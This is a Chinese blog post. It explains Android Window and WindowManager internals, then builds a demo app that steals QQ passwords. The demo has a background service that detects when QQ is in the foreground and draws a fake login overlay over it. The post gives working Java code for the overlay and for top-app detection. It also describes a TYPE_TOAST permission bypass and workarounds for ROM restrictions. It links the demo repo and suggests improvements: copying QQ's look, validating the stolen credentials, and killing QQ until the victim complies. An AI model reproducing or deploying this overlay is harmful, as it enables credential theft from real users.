android WindowManager解析与骗取QQ密码案例分析

最近在网上看见一个人在乌云上提了一个漏洞,应用可以开启一个后台 Service,检测当前顶部应用,如果为 QQ 或相关应用,就弹出一个自定义 window 用来诱骗用户输入账号密码,挺感兴趣的,总结相关知识写了一个 demo,界面如下(界面粗糙,应该没人会上当吧,意思到了就行哈=, =):
            

这里写图片描述

  demo 地址:https://github.com/zhaozepeng/GrabQQPWD

Window&&WindowManager介绍

分析 demo 之前,先要整理总结一下相关的知识。先看看 <font color="#4FA1E0">Window</font> 类,Window 是一个抽象类,位于代码树 frameworks/android/view/Window.java 文件。连同注释,这个文件总共一千多行,它概括了 Android 窗口的基本属性和基本功能。唯一实现了这个抽象类的是 PhoneWindow,实例化 PhoneWindow 需要一个窗口,只需要通过 WindowManager 即可完成,Window 类的具体实现位于 WindowManagerService中,WindowManager 和 WindowManagerService 的交互是一个 IPC 过程。Android 中的所有视图都是通过 Window 来呈现的,不管是 Activity,Dialog 还是 Toast,他们的视图实际上都是附加在 Window 上的,因此 Window 实际上是 View 的直接管理者,点击事件也是由 Window 传递给 view 的。WindowManager.LayoutParams.type 参数表示 window 的类型,共有三种类型,分别是应用 Window,子 Window 和系统 Window。应用 Window 对应着一个 Activity,类似 Dialog 之类的子 Window 不能单独存在,他需要附属在应用 Window 上才可以,系统 Window 则不需要,比如 Toast 之类,可以直接显示。每个 Window 都有对应的 z-orderd,层级大的 Window 会覆盖在层级小的 Window 之上,应用 Window 的层级范围是 1~99,子 Window 的范围是 1000~1999,系统 Window 的范围是 2000~2999,这些层级范围都对应着相关的 type,type 的相关取值:<font color="#4FA1E0">官网链接</font><font color="#4FA1E0">中文资料</font>。WindowManager.LayoutParams.flags 参数表示 Window 的属性,默认为 none,flags 的相关取值:<font color="#4FA1E0">官方链接</font>,还有其他的 LayoutParams 变量名称和取值可以参考 <font color="#4FA1E0">WindowManager.LayoutParams(上)</font><font color="#4FA1E0">WindowManager.LayoutParams(下)</font> 两篇译文博客,很详细。
  再详细分析一下 <font color="#4FA1E0">WindowManager</font>,WindowManager 主要用来管理窗口的一些状态、属性、view 增加、删除、更新、窗口顺序、消息收集和处理等。通过代码 Context.getSystemService(Context.WINDOW_SERVICE)可 以获得 WindowManager 的实例。WindowManager 所提供的功能很简单,常用的只有三个方法,即添加 View、更新 View 和删除 View,这三个方法定义在 <font color="#4FA1E0">ViewManager</font> 中,而 <font color="#4FA1E0">WindowManager</font> 继承了 <font color="#4FA1E0">ViewManager</font>
<ul><li>addView(); </li><li>updateViewLayout();</li><li>removeView(); </li></ul>  这些函数是用来修改 Window 的,它的真正实现是 WindowManagerImpl 类,WindowManagerImpl 这种工作模式是典型的桥接模式,Window 为抽象部分,WindowManagerImpl 为实现部分。WindowManagerImpl 类并没有直接实现 Window 的三大操作,而是全部交给了 WindowManagerGlobal 来处理,WindowManagerGlobal 以单例模式 的形式向外提供自己的实例,在 WindowManagerGlobal 中有如下一段代码:

private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()

将所有的操作全部交给 WindowManagerGlobal 来实现,后续的分析感兴趣的可以看看我的博客: java/android 设计模式学习笔记(8)---桥接模式
  View 是 Android 中视图的呈现方式,但是 View 不能单独存在,他必须要附着在 Window 这个抽象的概念上面,每一个 Window 都对应着一个 View 和一个 ViewRootImpl,Window 和 View 通过 ViewRootImpl 来建立联系,因此有视图的地方就有 Window,比如常见的 Activity,Dialog,Toast 等,简化的关系如下所示:

这里写图片描述

  对于每个 activity 只有一个 decorView 也就是 ViewRoot,window 是通过下面方法获取的

Window mWindow = PolicyManager.makeNewWindow(this);

创建完 Window 之后,activity 会为该 Window 设置回调,Window 接收到外界状态改变时就会回调到 activity 中。在 activity 中会调用 setContentView() 函数,它是调用 window.setContentView() 完成的,而 Window 的具体实现是 PhoneWindow,所以最终的具体操作是在 PhoneWindow 中,PhoneWindow 的 setContentView 方法第一步会检测 DecorView 是否存在,如果不存在,就会调用 generateDecor 函数直接创建一个 DecorView;第二步就是将 activity 的视图添加到 DecorView 的 mContentParent 中;第三步是回调 activity 中的 onContentChanged 方法通知 activity 视图已经发生改变。这些步骤完成之后,DecorView 还没有被 WindowManager 正式添加到 Window 中,最后调用 Activity 的 onResume 方法中的 makeVisible 方法才能真正地完成添加和现实过程,activity 的视图才能被用户看到。对 Activity 的启动过程和 Window 的创建过程感兴趣的可以看看我的这篇博客<font color="#4FA1E0">android 不能在子线程中更新ui的讨论和分析</font>
  Dialog Window 的创建过程和 Activity 类似,第一步也是用 PolicyManager.makeNewWindow 方法来创建一个 Window,不过这里传入的 Context 必须要为 Activity 的 context;第二步也是通过 setContentView 函数去设置 dialog 的布局视图;第三步调用 show 方法,通过 WindowManager 将 DecorView 添加到 Window 中显示出来。
  Toast 和 Dialog 不同,它稍微复杂一点,首先 Toast 也是基于 Window 来实现的,但是由于 Toast 具有定时取消的这一个功能,所以系统采用了 Handler。在 Toast 的内部有两类 IPC 过程,第一类是 Toast 访问 NotificationManagerService,第二类是 NotificationManagerService 回调 Toast 里的 TN 接口。在 Toast 类中,最重要的用于显示该 toast 的 show 方法调用了 service.enqueueToast(pkg, tn, mDuration);也就是说系统为我们维持了一个 toast 队列,这也是为什么两个 toast 不会同时显示的原因,该方法将一个 toast 入队,显示则由系统维持显示的时机。

private static INotificationManager sService;
static private INotificationManager getService() {
    if (sService != null) {
        return sService;
    }
    sService = INotificationManager.Stub.asInterface(ServiceManager.getService("notification"));
    return sService;
}

该服务 sService 就是系统用于维护 toast 的服务。最后 NMS 会通过 IPC 调用 Toast 类内部的一个静态私有类 TN,该类是 toast 的主要实现,该类完成了 toast 视图的创建,显示和隐藏。
  网上介绍 WindowManager 的博客很多,都写得很好的,要具体了解的可以结合看看源码:

http://blog.csdn.net/chenyafei617/article/details/6577940)
http://www.tuicool.com/articles/fqiyeqM
http://blog.csdn.net/xieqibao/article/details/6567814
http://www.cnblogs.com/xiaoQLu/archive/2013/05/30/3108855.html

相关资料太多了,感兴趣的可以看看源码。

骗取QQ密码实例##

有了上面的基础之后,这个例子其实就非常简单了。
  第一步编写一个 Service 并且在 Service 中弹出一个自定义的 Window:

windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams();
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
params.format = PixelFormat.TRANSPARENT;
params.gravity = Gravity.CENTER;
params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;

LayoutInflater inflater = LayoutInflater.from(this);
v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null);
v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() {
    @Override
    public void backCallback() {
        if (v!=null && v.isAttachedToWindow())
            L.e("remove view ");
            windowManager.removeViewImmediate(v);
    }
});

btn_sure = (Button) v.findViewById(R.id.btn_sure);
btn_cancel = (Button) v.findViewById(R.id.btn_cancel);
et_account = (EditText) v.findViewById(R.id.et_account);
et_pwd = (EditText) v.findViewById(R.id.et_pwd);
cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd);
cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
    @Override
    public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
        if (isChecked) {
            et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());
        } else {
            et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance());
        }
        et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ?
                0 : et_pwd.getText().length());
    }
});

//useless
//        v.setOnKeyListener(new View.OnKeyListener() {
//            @Override
//            public boolean onKey(View v, int keyCode, KeyEvent event) {
//                Log.e("zhao", keyCode+"");
//                if (keyCode == KeyEvent.KEYCODE_BACK) {
//                    windowManager.removeViewImmediate(v);
//                    return true;
//                }
//                return false;
//            }
//        });


//点击外部消失
v.setOnTouchListener(new View.OnTouchListener() {
    @Override
    public boolean onTouch(View view, MotionEvent event) {
        Rect temp = new Rect();
        view.getGlobalVisibleRect(temp);
        L.e("remove view ");
        if (temp.contains((int)(event.getX()), (int)(event.getY()))){
            windowManager.removeViewImmediate(v);
            return true;
        }
        return false;
    }
});

btn_sure.setOnClickListener(this);
btn_cancel.setOnClickListener(this);
L.e("add view ");
windowManager.addView(v, params);

这里有几点需要说明一下,<ul><li><font color='red'>对悬浮窗权限的详细介绍请看我的另一篇博客: Android 悬浮窗各机型各系统适配大全</font>;</li><li>第一个是 type 使用 TYPE_TOAST 而不是用 TYPE_SYSTEM_ERROR 是可以绕过权限的,这个是在知乎上看见有人说的一个漏洞,哈哈,但是因为在这个 Window 中有 edittext 控件,如果设置为 toast,软键盘是没法把布局顶上去的,只有 TYPE_SYSTEM_ERROR 可以将布局顶上去,如果想用 toast 绕过权限,布局就得自己精心去设计了;</li><li>第二个是因为有 Edittext,所以 softInputMode 需要设置为 SOFT_INPUT_ADJUST_PAN,要不然软键盘会覆盖 Window;</li><li>第三个是返回键的监听,setOnKeyListener 是不好用的,最后只能复写 View 类的 dispatchKeyEvent 函数来实现按键监听了;</li><li>第四个是点击外部消失的操作,看代码就会明白了;</li><li>第五个,获取顶部应用的权限问题,在这里非常感谢 @android_jiajia 朋友,提醒了一下,在 5.0 之前,5.0~5.1.1,5.1.1 之后获取顶部应用的方式其实是不一样的,getTopActivityBeforeL(),getTopActivityBeforeLMAfterL(),getTopActivityAfterLM(),特别要说明的是 LM 版本之后如果要去获取顶部应用使用的 getAppTasks 方法时需要用户手动去开启权限的,但是这不就暴露了么,刚开始找到了一个 github 库去解决 https://github.com/jaredrummler/AndroidProcesses,因为 android 底层还是linux内核,所以 /proc 的系统目录下会有进程的相关信息,原理就是基于此,但是最后依旧获取不到顶部的应用,最后没办法了,只能够使用动态申请权限的方案了 <font color="#4FA1E0">PACKAGE_USAGE_STATS</font>。</li><li>第六个是在 6.0 的系统上,单单 Manifest 静态注册是不管用的,直接使用 WindowManager.LayoutParams.TYPE_SYSTEM_ERROR 是会直接崩溃,具体可以看看我的这篇博客 <font color="#4FA1E0">android permission权限与安全机制解析(下)</font>,这个我在代码中也做好了适配。不过好消息是使用第一条我介绍的 TYPE_TOAST 依旧是可以绕过权限的,软键盘覆盖问题其实可以把布局挪上去就可以了。</li></ul>
  实现了弹出框的弹出之后,接着就要设置一个实时监听,开启一个线程,每隔几秒去监听用户正在操作的应用是否是 QQ,这个就简单多了,使用 ActivityManager 就可以了:

new Thread(new Runnable() {
    @Override
    public void run() {
        while (isRunning){
            L.e("running");
            try {
                Thread.sleep(3000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            if (isAppForground("com.tencent.mobileqq")){
                myHandler.sendEmptyMessage(1);
            }
        }
    }
}).start();

获取顶部应用适配方法

private boolean isAppForeground(String appName){
    if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP){
        return appName.equals(getTopActivityBeforeL());
    }else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1){
        return appName.equals(getTopActivityAfterLM());
    }else{
        return appName.equals(getTopActivityBeforeLMAfterL());
    }
}

//5.0之前可以使用getRunningAppProcesses()函数获取
private String getTopActivityBeforeL(){
    ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
    final List<ActivityManager.RunningAppProcessInfo> taskInfo = activityManager.getRunningAppProcesses();
    return taskInfo.get(0).processName;
}

//http://stackoverflow.com/questions/24625936/getrunningtasks-doesnt-work-in-android-l
//processState只能在21版本之后使用
private String getTopActivityBeforeLMAfterL() {
    final int PROCESS_STATE_TOP = 2;
    Field field = null;
    ActivityManager.RunningAppProcessInfo currentInfo = null;
    try {
        field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState");
    } catch (Exception ignored) {
    }
    ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
    final List<ActivityManager.RunningAppProcessInfo> processInfos = activityManager.getRunningAppProcesses();
    for (ActivityManager.RunningAppProcessInfo processInfo : processInfos) {
        if (processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND
                && processInfo.importanceReasonCode == ActivityManager.RunningAppProcessInfo.REASON_UNKNOWN) {
            Integer state = null;
            try {
                state = field.getInt(processInfo);
            } catch (Exception e) {
            }
            if (state != null && state == PROCESS_STATE_TOP) {
                currentInfo = processInfo;
                break;
            }
        }
    }
    return currentInfo!=null ? currentInfo.processName : null;
}

//注:6.0之后此方法也不太好用了
//http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag
//    private String getTopActivityAfterLM(){
//        ActivityManager.RunningAppProcessInfo topActivity =
//                ProcessManager.getRunningAppProcessInfo(this).get(0);
//        return topActivity.processName;
//    }

@TargetApi(Build.VERSION_CODES.LOLLIPOP_MR1)
private String getTopActivityAfterLM() {
    try {
        UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE);
        long milliSecs = 60 * 1000;
        Date date = new Date();
        List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, date.getTime() - milliSecs, date.getTime());
        if (queryUsageStats.size() <= 0) {
            return null;
        }
        long recentTime = 0;
        String recentPkg = "";
        for (int i = 0; i < queryUsageStats.size(); i++) {
            UsageStats stats = queryUsageStats.get(i);
            if (stats.getLastTimeStamp() > recentTime) {
                recentTime = stats.getLastTimeStamp();
                recentPkg = stats.getPackageName();
            }
        }
        return recentPkg;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return "";
}

<font color='red'>PS:小米手机的 ROM 官方禁止了这些行为,不管是 getRunningAppProcesses,getRunningTasks,和 ProcessManager 都只能返回自己和系统应用的列表,怎么搞?</font>
http://www.miui.com/forum.php?mod=viewthread&tid=2866840
更新,不光这样,在最新版本的小米 ROM 中,Manifest 文件中申请了

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />

权限,使用 WindowManager.LayoutParams.TYPE_SYSTEM_ERROR 还是无法弹出 Window,小米 ROM 需要特殊处理一下,具体的可以看看我的一个开源项目:Android 悬浮窗权限各机型各系统适配大全,大家感兴趣的可以参与进来。
  这样效果就差不多了,最后在Activity中启动该Service即可,当然这个还有很多改进的余地:
   1. 修改 UI,使之更加的和 QQ 风格相似。
  2. 用户输入完账号和密码之后,可以 addView 一个 loadingDialog,接着调用相关接口去验证用户名和密码的正确性,不正确提示用户重新输入。
   3. 如果用户不输入账号和密码,直接调用 killBackgrondProcess 函数(需要权限),强硬的把 QQ 关闭,直到用户输入账号和密码。
  当然了,这只是学习知识而已,大家开心就好啊  ̄ˍ ̄。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,736评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,167评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,442评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,902评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,302评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,573评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,847评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,562评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,260评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,531评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,021评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,367评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,016评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,068评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,827评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,610评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,514评论 2 269

推荐阅读更多精彩内容